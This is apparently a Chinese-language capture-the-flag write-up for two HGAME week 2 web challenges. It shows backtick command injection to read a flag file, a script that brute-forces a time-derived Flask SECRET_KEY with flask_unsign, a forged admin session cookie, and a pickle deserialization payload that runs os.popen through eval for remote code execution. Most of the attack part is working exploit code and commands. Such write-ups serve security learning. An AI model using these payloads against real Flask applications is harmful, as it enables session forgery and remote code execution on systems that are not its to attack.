HGAME week2 web

1.What the cow say?

测试发现可以反引号命令执行

`ls /f*`

`tac /f*/f*`

2.myflask

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezonecurrentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)@app.route('/')
def index():session['username'] = 'guest'return send_file('app.py')@app.route('/flag', methods=['GET', 'POST'])
def flag():if not session:return 'There is no session available in your client :('if request.method == 'GET':return 'You are {} now'.format(session['username'])# For POST requests from adminif session['username'] == 'admin':pickle_data=base64.b64decode(request.form.get('pickle_data'))# Tips: Here try to trigger RCEuserdata=pickle.loads(pickle_data)return userdataelse:return 'Access Denied'if __name__=='__main__':app.run(debug=True, host="0.0.0.0")

先是/flag路由，需要爆破SECRET_KEY，然后修改 session['username'] = 'admin'

SECRET_KEY由当前时间戳生成，先看一下当前时间戳，便于缩小爆破范围

130053

可以用120000到130000范围爆破

爆破用到flask-unsign包

pip install flask_unsign

bp抓包到当前cookie为eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZdbS5g.lYsm6XdgCg5ieiwMujnnM_sNMxs

爆破脚本

import itertools
import flask_unsign
import requests as r
import timedef generate_wordlist():# permutations with repetitionfor x in itertools.product('0123456789', repeat=4):yield '12' + "".join(x)
path = "wordlist.txt"
print("Generating wordlist... ")
with open(path, "w") as f:for word in generate_wordlist():f.write(word + "\n")
cookie_tamper = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZdbS5g.lYsm6XdgCg5ieiwMujnnM_sNMxs'
obj = flask_unsign.Cracker(value=cookie_tamper)
obj.crack(generate_wordlist())
secret = ""
if obj.secret:secret = obj.secret print(f"SECRET_KEY ：{secret} ")

爆破出来SECRET_KEY是125121

然后伪造一下cookie,先看一下之前session什么格式

就是{'username': 'guest'}

改成{'username': 'admin'}

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZdbgCQ.krF0aOgj2IOu0hsbvSqoXBtOTlk

成功伪造成admin

第二步是pickle反序列化RCE

脚本

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('os').popen('cat /flag').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))